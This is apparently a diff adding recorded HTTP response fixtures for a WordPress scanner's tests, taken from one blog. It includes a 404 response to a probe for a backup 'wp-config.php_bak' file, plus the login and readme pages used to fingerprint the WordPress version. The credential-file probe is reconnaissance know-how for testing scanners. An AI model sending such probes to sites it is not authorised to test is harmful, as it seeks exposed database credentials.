<p>X-Frame-Options is a HTTP response header that tells the browser what pages are allowed to be loaded in &lt;frame&gt; or &lt;iframe&gt; HTML tags. The header is an extra layer of security that a web application can implement to attempt to mitigate <a href=\"http://en.wikipedia.org/wiki/Clickjacking\" target=\"_blank\">clickjacking</a> (UI redressing).</p>\n\
<p>The X-Frame-Options header may have three different values:</p>\n\
<p><strong>DENY</strong> &#8211; No pages are allowed to be loaded.<br/>\n\
<strong>SAMEORIGIN</strong> &#8211; Only pages from the same domain are allowed to be loaded.<br/>\n\
<strong>Allow-From http://www.example.com</strong> &#8211; Only allow frames from www.example.com.</p>\n\
<p> <a href=\"http://www.ethicalhack3r.co.uk/security/x-frame-options/#more-16743\" class=\"more-link\">read more&#8230;</a></p>\n\
<p class=\"meta\">\n\
Posted on 7 April, 2012 by ethicalhack3r </p>\n\
<p class=\"comments\">\n\
<a href=\"http://www.ethicalhack3r.co.uk/security/x-frame-options/#comments\">5 Comments</a>\n\
</p>\n\
</div>\n \n\
<div class=\"post-item\">\n\
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/wireless-man-in-the-middle-mitm/\">Wireless Man In The Middle (MITM)</a></h2>\n\
<p>This is a recent piece I did for the BBC Inside Out program that originally aired on February 6th. In the video I demonstrate a wireless <a href=\"http://en.wikipedia.org/wiki/Man-in-the-middle_attack\" target=\"_blank\">Main In The Middle (MITM)</a> attack in a coffee shop using a FON+ wireless router, Karma and <a href=\"http://www.digininja.org/jasager/\" target=\"_blank\">Jasager</a>. Oh, and they&#8217;re the ones who call me an &#8216;expert&#8217;, personally, I hate the term and would never call myself one.</p>\n\
<p><iframe width=\"420\" height=\"315\" src=\"http://www.youtube.com/embed/J6Lch5fhlO4\" frameborder=\"0\" allowfullscreen></iframe></p>\n\
<p class=\"meta\">\n\
Posted on 13 February, 2012 by ethicalhack3r </p>\n\
<p class=\"comments\">\n\
<a href=\"http://www.ethicalhack3r.co.uk/security/wireless-man-in-the-middle-mitm/#comments\">6 Comments</a>\n\
</p>\n\
</div>\n \n\
<div class=\"post-item\">\n\
<h2><a href=\"http://www.ethicalhack3r.co.uk/general/prevention-of-unwanted-telemarketing-calls/\">Prevention of unwanted telemarketing calls</a></h2>\n\
<p>I am tired of receiving multiple telemarketing calls per day, I&#8217;m tired of the <a href=\"http://www.tpsonline.org.uk/tps/index.html\" target=\"_blank\">Telephone Preference Service (TPS)</a> not having an affect and I&#8217;m tired of telecommunication companies charging for prevention features which should be free.</p>\n\
<p>I came across an e-petition that was setup by a Rob Whitelock, it is not perfect in its recommendations but certainly puts the general point across.</p>\n\
<blockquote><p>e-petitions is an easy way for you to influence government policy in the UK. You can create an e-petition about anything that the government is responsible for and if it gets at least 100,000 signatures, it will be eligible for debate in the House of Commons.</p></blockquote>\n\
<p>You can help by signing the petition here;<br/>\n\
<a href=\"http://epetitions.direct.gov.uk/petitions/17324\" target=\"_blank\">http://epetitions.direct.gov.uk/petitions/17324</a></p>\n\
<p class=\"meta\">\n\
Posted on 20 January, 2012 by ethicalhack3r </p>\n\
<p class=\"comments\">\n\
<a href=\"http://www.ethicalhack3r.co.uk/general/prevention-of-unwanted-telemarketing-calls/#comments\">No Comments</a>\n\
</p>\n\
</div>\n \n\
<div id=\"morePrev\">\n\
<span id=\"prev\"></span>\n\
<span id=\"more\"><a href=\"http://www.ethicalhack3r.co.uk/wp-config.php_bak/page/2/\">Next Page &raquo;</a></span>\n\
<br style=\"clear:both;\"/>\n\
</div>\n\
</div>\n \n\
<ul id=\"sidebar\">\n\
<li class=\"sidebarItem\" id=\"search\">\n\
<form method=\"get\" id=\"searchform\" action=\"http://www.ethicalhack3r.co.uk\">\n\
<input type=\"text\" name=\"s\" id=\"s\" value=\"\"/>\n\
<input type=\"submit\" value=\"\" id=\"searchSubmit\"/>\n\
</form> </li> \n\
<div class=\"topLine\"></div>\n\
<li id=\"twitter-3\" class=\"widget widget_twitter\"><div><h2 class=\"widgettitle\"><span class='twitterwidget twitterwidget-title'>My Twitter</span></h2>\n\
<ul><li><span class='entry-content'>The <a href=\"http://twitter.com/th3j35t3r\" class=\"twitter-user\" target=\"_blank\">@th3j35t3r</a> injects modified BEeF hook into '1337bin.com' to hook Anon members. (reference: <a href=\"http://twitter.com/th3j35t3r\" class=\"twitter-user\" target=\"_blank\">@th3j35t3r</a>'s timeline)</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222099417115799552\" target=\"_blank\">about 9 hours ago</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/MarcDJay\" class=\"twitter-user\" target=\"_blank\">@MarcDJay</a> I'd be happy with 7Mb right now :) current ISP is 2Mb down/100Kb up, new ISP promises 5Mb down/1Mb up.</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222073498124816384\" target=\"_blank\">about 11 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/MarcDJay/statuses/222061035761311746\" class=\"reply-to\" target=\"_blank\">in reply to MarcDJay</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/runasand\" class=\"twitter-user\" target=\"_blank\">@runasand</a> not sure if he wants RTing as he's 'protected' ;) it was just a joke about them not having a particular kind of list :) //@ydoow</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222066853927845888\" target=\"_blank\">about 11 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/runasand/statuses/\" class=\"reply-to\" target=\"_blank\">in reply to runasand</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/masontech\" class=\"twitter-user\" target=\"_blank\">@masontech</a> ouch! that's worse than mine! my current upload speed is unbearable so should have a new ISP in the next few days.</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222060465658929152\" target=\"_blank\">about 12 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/masontech/statuses/222059324837597184\" class=\"reply-to\" target=\"_blank\">in reply to masontech</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/ydoow\" class=\"twitter-user\" target=\"_blank\">@ydoow</a> lol this is true! :) // <a href=\"http://twitter.com/runasand\" class=\"twitter-user\" target=\"_blank\">@runasand</a></span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222058327599886337\" target=\"_blank\">about 12 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/ydoow/statuses/222057898560327681\" class=\"reply-to\" target=\"_blank\">in reply to ydoow</a></span></span></li></ul></div></li>\n\
<li id=\"categories-3\" class=\"widget widget_categories\"><h2 class=\"widgettitle\">Categories</h2>\n\
<ul>\n\
<li class=\"cat-item cat-item-10\"><a href=\"http://www.ethicalhack3r.co.uk/category/advisories/\" title=\"View all posts filed under Advisories\">Advisories</a>\n\
</li>\n\
<li class=\"cat-item cat-item-12\"><a href=\"http://www.ethicalhack3r.co.uk/category/espanol/\" title=\"View all posts filed under Espa\xC3\xB1ol\">Espa\xC3\xB1ol</a>\n\
</li>\n\
<li class=\"cat-item cat-item-11\"><a href=\"http://www.ethicalhack3r.co.uk/category/general/\" title=\"View all posts filed under General\">General</a>\n\
</li>\n\
<li class=\"cat-item cat-item-9\"><a href=\"http://www.ethicalhack3r.co.uk/category/interviews/\" title=\"View all posts filed under Interviews\">Interviews</a>\n\
</li>\n\
<li class=\"cat-item cat-item-3\"><a href=\"http://www.ethicalhack3r.co.uk/category/security/\" title=\"View all posts filed under Security\">Security</a>\n\
</li>\n\
<li class=\"cat-item cat-item-8\"><a href=\"http://www.ethicalhack3r.co.uk/category/toolz/\" title=\"View all posts filed under Toolz\">Toolz</a>\n\
</li>\n\
</ul>\n\
</li>\n\
<li id=\"recent-comments-3\" class=\"widget widget_recent_comments\"><h2 class=\"widgettitle\">Recent Comments</h2>\n\
<ul id=\"recentcomments\"><li class=\"recentcomments\">ethicalhack3r on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278788\">WordPress &#8216;In the Wild&#8217; and WPScan Update</a></li><li class=\"recentcomments\">typhoon on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278785\">WordPress &#8216;In the Wild&#8217; and WPScan Update</a></li><li class=\"recentcomments\">Hi on <a href=\"http://www.ethicalhack3r.co.uk/security/setting-up-tor-on-backtrack/comment-page-1/#comment-278488\">Setting up Tor on BackTrack</a></li><li class=\"recentcomments\">ethicalhack3r on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278341\">WordPress &#8216;In the Wild&#8217; and WPScan Update</a></li><li class=\"recentcomments\"><a href='http://www.findthisend.com' rel='external nofollow' class='url'>Chic</a> on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278315\">WordPress &#8216;In the Wild&#8217; and WPScan Update</a></li></ul></li>\n\
<li id=\"archives-2\" class=\"widget widget_archive\"><h2 class=\"widgettitle\">Archives</h2>\n\
<ul>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2012/05/' title='May 2012'>May 2012</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2012/04/' title='April 2012'>April 2012</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2012/02/' title='February 2012'>February 2012</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2012/01/' title='January 2012'>January 2012</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/12/' title='December 2011'>December 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/11/' title='November 2011'>November 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/10/' title='October 2011'>October 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/09/' title='September 2011'>September 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/07/' title='July 2011'>July 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/06/' title='June 2011'>June 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/04/' title='April 2011'>April 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/02/' title='February 2011'>February 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/01/' title='January 2011'>January 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/11/' title='November 2010'>November 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/09/' title='September 2010'>September 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/08/' title='August 2010'>August 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/07/' title='July 2010'>July 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/06/' title='June 2010'>June 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/05/' title='May 2010'>May 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/04/' title='April 2010'>April 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/03/' title='March 2010'>March 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/02/' title='February 2010'>February 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/01/' title='January 2010'>January 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/12/' title='December 2009'>December 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/11/' title='November 2009'>November 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/10/' title='October 2009'>October 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/09/' title='September 2009'>September 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/08/' title='August 2009'>August 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/07/' title='July 2009'>July 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/06/' title='June 2009'>June 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/05/' title='May 2009'>May 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/04/' title='April 2009'>April 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/03/' title='March 2009'>March 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/02/' title='February 2009'>February 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/01/' title='January 2009'>January 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2008/12/' title='December 2008'>December 2008</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2008/11/' title='November 2008'>November 2008</a></li>\n\
</ul>\n\
</li>\n\
<li id=\"linkcat-7\" class=\"widget widget_links\"><h2 class=\"widgettitle\">Links</h2>\n\
<ul class='xoxo blogroll'>\n\
<li><a href=\"http://www.randomstorm.com/penetration-testing.php\" target=\"_blank\">Penetration Testing</a></li>\n\
<li><a href=\"http://www.dewhurstsecurity.com\" target=\"_blank\">Web Application Security Assessment</a></li>\n\
<li><a href=\"http://www.webwordcount.com\" target=\"_blank\">Website Word Count</a></li>\n\
</ul>\n\
</li>\n\
<li id=\"text-8\" class=\"widget widget_text\"> <div class=\"textwidget\"><div align=\"center\">\n\
<a href=\"http://www.bletchleypark.org.uk/content/contact/donation/support.rhtm\" target=\"_blank\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2010/09/238614.jpg\"></a>\n\
<br/>\n\
<br/>\n\
<a href=\"http://www.eff.org/\" target=\"_blank\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2010/11/EFF-logo-trans.gif\"></a>\n\
</div></div>\n\
</li>\n\
<li id=\"text-5\" class=\"widget widget_text\"> <div class=\"textwidget\"><br/><p align=\"center\"><a href=\"http://feeds.feedburner.com/EthicalHack3r\"><img src=\"http://feeds.feedburner.com/~fc/EthicalHack3r?bg=84BEFF&amp;fg=000000&amp;anim=0\" height=\"26\" width=\"88\" style=\"border:0\" alt=\"\"/></a></p></div>\n\
</li>\n\
</ul>\n </div>\n\
<br style=\"clear:both;\"/>\n\
<div id=\"footer\">\n\
<div class=\"copyright\">Copyright &copy; 2008-2012 Ryan Dewhurst</div>\n\
</div>\n \n\
</div>\n \n\
</body>\n\
</html>"
code: 404
connect_time: 2.8e-05
curl_error_message: No error
curl_return_code: 0
effective_url: http://www.ethicalhack3r.co.uk/wp-config.php_bak
headers: |
HTTP/1.1 404 Not Found
Server: cloudflare-nginx
Date: Mon, 09 Jul 2012 08:15:29 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: session=f2egkri13avupn6rhlg42gb3s3bbaq8f; path=/; HttpOnly
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
X-Pingback: http://www.ethicalhack3r.co.uk/xmlrpc.php
Last-Modified: Mon, 09 Jul 2012 08:15:29 GMT
Vary: Accept-Encoding
Set-Cookie: __cfduid=d4246d948bbf536e5df63b7ea80b67c9c1341821728; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.co.uk
Set-Cookie: __cfduid=d4246d948bbf536e5df63b7ea80b67c9c1341821728; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.ethicalhack3r.co.uk
Set-Cookie: __cfduid=d4246d948bbf536e5df63b7ea80b67c9c1341821728; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.www.ethicalhack3r.co.uk
http_version:
mock: false
name_lookup_time: 2.7e-05
pretransfer_time: 2.6e-05
request: !ruby/object:Typhoeus::Request
after_complete:
auth_method:
body:
cache_timeout: 600
connect_timeout:
disable_ssl_peer_verification: true
follow_location:
handled_response:
headers:
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0
User-Agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master
max_redirects:
method: :get
on_complete: !ruby/object:Proc {}
params:
parsed_uri: !ruby/object:URI::HTTP
fragment:
host: www.ethicalhack3r.co.uk
opaque:
password:
path: /wp-config.php_bak
port: 80
query:
registry:
scheme: http
user:
password:
proxy:
proxy_auth_method:
proxy_password:
proxy_type:
proxy_username:
response: *id001
ssl_cacert:
ssl_capath:
ssl_cert:
ssl_cert_type:
ssl_key:
ssl_key_password:
ssl_key_type:
timeout:
url: http://www.ethicalhack3r.co.uk/wp-config.php_bak
user_agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master
username:
verbose:
requested_http_method:
requested_url:
start_time:
start_transfer_time: 0.68455
status_message:
time: 0.773834

View File

@@ -0,0 +1,159 @@
--- &id001 !ruby/object:Typhoeus::Response
app_connect_time: 2.6e-05
body: |
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<title>ethicalhack3r &rsaquo; Log In</title>
<link rel='stylesheet' id='wp-admin-css' href='http://www.ethicalhack3r.co.uk/wp-admin/css/wp-admin.css?ver=3.4' type='text/css' media='all'/>
<link rel='stylesheet' id='colors-fresh-css' href='http://www.ethicalhack3r.co.uk/wp-admin/css/colors-fresh.css?ver=3.4' type='text/css' media='all'/>
<script language="javascript" type="text/javascript" src="http://www.ethicalhack3r.co.uk/wp-content/plugins/chap-secure-login/js/sha256.js"></script>
<script language="javascript" type="text/javascript" src="http://www.ethicalhack3r.co.uk/wp-content/plugins/chap-secure-login/js/md5.js"></script>
<script language="javascript" type="text/javascript">
function doCHAP (){
var userid = document.getElementById('user_login');
var psw = document.getElementById('user_pass');
if (!userid.value || !psw.value)
return false;
var password = psw.value;
var shaObj = new jsSHA(hex_md5(password)+'518aedbf95e34c72567f82fd1ad92f76',"ASCII");
psw.value = shaObj.getHash("SHA-256", "HEX");
return true;
}
</script>
<meta name='robots' content='noindex,nofollow'/>
</head>
<body class="login">
<div id="login">
<h1><a href="http://wordpress.org/" title="Powered by WordPress">ethicalhack3r</a></h1>
<form name="loginform" id="loginform" action="http://www.ethicalhack3r.co.uk/wp-login.php" method="post">
<p>
<label for="user_login">Username<br/>
<input type="text" name="log" id="user_login" class="input" value="" size="20" tabindex="10"/></label>
</p>
<p>
<label for="user_pass">Password<br/>
<input type="password" name="pwd" id="user_pass" class="input" value="" size="20" tabindex="20"/></label>
</p>
<a style="border-width:0px;text-decoration:none;" href="http://www.redsend.org/chapsecurelogin/" title="More info..."><img style="border-width:0px;text-decoration:none;height:20px;width:20px;position:relative;float:left;margin-top:-75px;margin-left:70px;" alt="> Encryption password!" src="http://www.ethicalhack3r.co.uk/wp-content/plugins/chap-secure-login/lock.png"></a>
<script language="javascript" type="text/javascript">
var form_login = document.getElementById('loginform');
form_login.onsubmit = function (){ return doCHAP();};
</script>
<p class="forgetmenot"><label for="rememberme"><input name="rememberme" type="checkbox" id="rememberme" value="forever" tabindex="90"/> Remember Me</label></p>
<p class="submit">
<input type="submit" name="wp-submit" id="wp-submit" class="button-primary" value="Log In" tabindex="100"/>
<input type="hidden" name="redirect_to" value="http://www.ethicalhack3r.co.uk/wp-admin/"/>
<input type="hidden" name="testcookie" value="1"/>
</p>
</form>
<p id="nav">
<a href="http://www.ethicalhack3r.co.uk/wp-login.php?action=lostpassword" title="Password Lost and Found">Lost your password?</a>
</p>
<script type="text/javascript">
function wp_attempt_focus(){
setTimeout( function(){ try{
d = document.getElementById('user_login');
d.focus();
d.select();
} catch(e){}
}, 200);
}
wp_attempt_focus();
if(typeof wpOnload=='function')wpOnload();
</script>
<p id="backtoblog"><a href="http://www.ethicalhack3r.co.uk/" title="Are you lost?">&larr; Back to ethicalhack3r</a></p>
</div>
<div class="clear"></div>
</body>
</html>
code: 200
connect_time: 2.6e-05
curl_error_message: No error
curl_return_code: 0
effective_url: http://www.ethicalhack3r.co.uk/wp-login.php
headers: |
HTTP/1.1 200 OK
Server: cloudflare-nginx
Date: Mon, 09 Jul 2012 08:15:24 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: session=fbijij2hvb22muk4s7k22eqqh73fbeui; path=/; HttpOnly
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Mon, 09 Jul 2012 08:15:24 GMT
Set-Cookie: wordpress_test_cookie=WP+Cookie+check; path=/
X-Frame-Options: SAMEORIGIN
Vary: Accept-Encoding
Set-Cookie: __cfduid=dc3212a602a29949a28842ab47e69526d1341821723; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.co.uk
Set-Cookie: __cfduid=dc3212a602a29949a28842ab47e69526d1341821723; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.ethicalhack3r.co.uk
Set-Cookie: __cfduid=dc3212a602a29949a28842ab47e69526d1341821723; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.www.ethicalhack3r.co.uk
http_version:
mock: false
name_lookup_time: 2.6e-05
pretransfer_time: 2.5e-05
request: !ruby/object:Typhoeus::Request
after_complete:
auth_method:
body:
cache_timeout: 600
connect_timeout:
disable_ssl_peer_verification: true
follow_location:
handled_response:
headers:
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0
User-Agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master
max_redirects:
method: :get
on_complete:
params:
parsed_uri: !ruby/object:URI::HTTP
fragment:
host: www.ethicalhack3r.co.uk
opaque:
password:
path: /wp-login.php
port: 80
query:
registry:
scheme: http
user:
password:
proxy:
proxy_auth_method:
proxy_password:
proxy_type:
proxy_username:
response: *id001
ssl_cacert:
ssl_capath:
ssl_cert:
ssl_cert_type:
ssl_key:
ssl_key_password:
ssl_key_type:
timeout:
url: http://www.ethicalhack3r.co.uk/wp-login.php
user_agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master
username:
verbose:
requested_http_method:
requested_url:
start_time:
start_transfer_time: 0.726025
status_message:
time: 0.731246

View File

@@ -0,0 +1,171 @@
--- &id001 !ruby/object:Typhoeus::Response
app_connect_time: 3.3e-05
body: |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<title>WordPress &#8250; ReadMe</title>
<link rel="stylesheet" href="wp-admin/css/install.css?ver=20100228" type="text/css"/>
</head>
<body>
<h1 id="logo">
<a href="http://wordpress.org/"><img alt="WordPress" src="wp-admin/images/wordpress-logo.png"/></a>
<br/> Version 3.4
</h1>
<p style="text-align: center">Semantic Personal Publishing Platform</p>
<h1>First Things First</h1>
<p>Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I'm proud to be a part of. Thousands of hours have gone into WordPress, and we're dedicated to making it better every day. Thank you for making it part of your world.</p>
<p style="text-align: right">&#8212; Matt Mullenweg</p>
<h1>Installation: Famous 5-minute install</h1>
<ol>
<li>Unzip the package in an empty directory and upload everything.</li>
<li>Open <span class="file"><a href="wp-admin/install.php">wp-admin/install.php</a></span> in your browser. It will take you through the process to set up a <code>wp-config.php</code> file with your database connection details.
<ol>
<li>If for some reason this doesn't work, don't worry. It doesn't work on all web hosts. Open up <code>wp-config-sample.php</code> with a text editor like WordPad or similar and fill in your database connection details.</li>
<li>Save the file as <code>wp-config.php</code> and upload it.</li>
<li>Open <span class="file"><a href="wp-admin/install.php">wp-admin/install.php</a></span> in your browser.</li>
</ol>
</li>
<li>Once the configuration file is set up, the installer will set up the tables needed for your blog. If there is an error, double check your <code>wp-config.php</code> file, and try again. If it fails again, please go to the <a href="http://wordpress.org/support/" title="WordPress support">support forums</a> with as much data as you can gather.</li>
<li><strong>If you did not enter a password, note the password given to you.</strong> If you did not provide a username, it will be <code>admin</code>.</li>
<li>The installer should then send you to the <a href="wp-login.php">login page</a>. Sign in with the username and password you chose during the installation. If a password was generated for you, you can then click on 'Profile' to change the password.</li>
</ol>
<h1>Updating</h1>
<h2>Using the Automatic Updater</h2>
<p>If you are updating from version 2.7 or higher, you can use the automatic updater:</p>
<ol>
<li>Open the <span class="file"><a href="wp-admin/update-core.php">wp-admin/update-core.php</a></span> in your browser and follow the instructions.</li>
<li>You wanted more, perhaps? That's it!</li>
</ol>
<h2>Updating Manually</h2>
<ol>
<li>Before you update anything, make sure you have backup copies of any files you may have modified such as <code>index.php</code>.</li>
<li>Delete your old WordPress files, saving ones you've modified.</li>
<li>Upload the new files.</li>
<li>Point your browser to <span class="file"><a href="wp-admin/upgrade.php">/wp-admin/upgrade.php</a>.</span></li>
</ol>
<h2>Theme Template Changes</h2>
<p>If you have customized your theme templates, you may have to make some changes across major versions.</p>
<h1>Migrating from other systems</h1>
<p>WordPress can <a href="http://codex.wordpress.org/Importing_Content">import from a number of systems</a>. First you need to get WordPress installed and working as described above, before using <a href="wp-admin/import.php" title="Import to WordPress">our import tools</a>.</p>
<h1>System Requirements</h1>
<ul>
<li><a href="http://php.net/">PHP</a> version <strong>5.2.4</strong> or higher.</li>
<li><a href="http://www.mysql.com/">MySQL</a> version <strong>5.0</strong> or higher.</li>
</ul>
<h2>System Recommendations</h2>
<ul>
<li>The <a href="http://httpd.apache.org/docs/2.2/mod/mod_rewrite.html">mod_rewrite</a> Apache module.</li>
<li>A link to <a href="http://wordpress.org/">http://wordpress.org</a> on your site.</li>
</ul>
<h1>Online Resources</h1>
<p>If you have any questions that aren't addressed in this document, please take advantage of WordPress' numerous online resources:</p>
<dl>
<dt><a href="http://codex.wordpress.org/">The WordPress Codex</a></dt>
<dd>The Codex is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available.</dd>
<dt><a href="http://wordpress.org/news/">The WordPress Blog</a></dt>
<dd>This is where you'll find the latest updates and news related to WordPress. Recent WordPress news appears in your administrative dashboard by default.</dd>
<dt><a href="http://planet.wordpress.org/">WordPress Planet</a></dt>
<dd>The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web.</dd>
<dt><a href="http://wordpress.org/support/">WordPress Support Forums</a></dt>
<dd>If you've looked everywhere and still can't find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible.</dd>
<dt><a href="http://codex.wordpress.org/IRC">WordPress <abbr title="Internet Relay Chat">IRC</abbr> Channel</a></dt>
<dd>There is an online chat channel that is used for discussion among people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (<a href="irc://irc.freenode.net/wordpress">irc.freenode.net #wordpress</a>)</dd>
</dl>
<h1><abbr title="eXtensible Markup Language">XML</abbr>-<abbr title="Remote Procedure Call">RPC</abbr> and Atom Interface</h1>
<p>You can post to your WordPress blog with tools like <a href="http://download.live.com/writer">Windows Live Writer</a>, <a href="http://illuminex.com/ecto/">Ecto</a>, <a href="http://bloggar.com/">w.bloggar</a>, <a href="http://radio.userland.com/">Radio Userland</a> (which means you can use Radio's email-to-blog feature), <a href="http://www.newzcrawler.com/">NewzCrawler</a>, and other tools that support the blogging <abbr title="application programming interface">API</abbr>s! :) You can read more about <a href="http://codex.wordpress.org/XML-RPC_Support"><abbr>XML</abbr>-<abbr>RPC</abbr> support on the Codex</a>.</p>
<h1>Post via Email</h1>
<p>You can post from an email client! To set this up go to your &quot;Writing&quot; options screen and fill in the connection details for your secret <abbr title="Post Office Protocol version 3">POP3</abbr> account. Then you need to set up <code>wp-mail.php</code> to execute periodically to check the mailbox for new posts. You can do it with <a href="http://en.wikipedia.org/wiki/Cron">cron</a>-jobs, or if your host doesn't support it you can look into the various website-monitoring services, and make them check your <code>wp-mail.php</code> <abbr title="Uniform Resource Locator">URL</abbr>.</p>
<p>Posting is easy: Any email sent to the address you specify will be posted, with the subject as the title. It is best to keep the address discrete. The script will <em>delete</em> emails that are successfully posted.</p>
<h1>User Roles</h1>
<p>We introduced a very flexible roles system in version 2.0. You can <a href="http://codex.wordpress.org/Roles_and_Capabilities" title="WordPress roles and capabilities">read more about Roles and Capabilities on the Codex</a>.</p>
<h1>Final Notes</h1>
<ul>
<li>If you have any suggestions, ideas, or comments, or if you (gasp!) found a bug, join us in the <a href="http://wordpress.org/support/">Support Forums</a>.</li>
<li>WordPress has a robust plugin <abbr title="application programming interface">API</abbr> that makes extending the code easy. If you are a developer interested in utilizing this, see the <a href="http://codex.wordpress.org/Plugin_API" title="WordPress plugin API">plugin documentation in the Codex</a>. You shouldn't modify any of the core code.</li>
</ul>
<h1>Share the Love</h1>
<p>WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better&#8212;you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgable than yourself, or writing the author of a media article that overlooks us.</p>
<p>WordPress is the official continuation of <a href="http://cafelog.com/">b2/caf&#233;log</a>, which came from Michel V. The work has been continued by the <a href="http://wordpress.org/about/">WordPress developers</a>. If you would like to support WordPress, please consider <a href="http://wordpress.org/donate/" title="Donate to WordPress">donating</a>.</p>
<h1>License</h1>
<p>WordPress is free software, and is released under the terms of the <abbr title="GNU General Public License">GPL</abbr> version 2 or (at your option) any later version. See <a href="license.txt">license.txt</a>.</p>
</body>
</html>
code: 200
connect_time: 3.3e-05
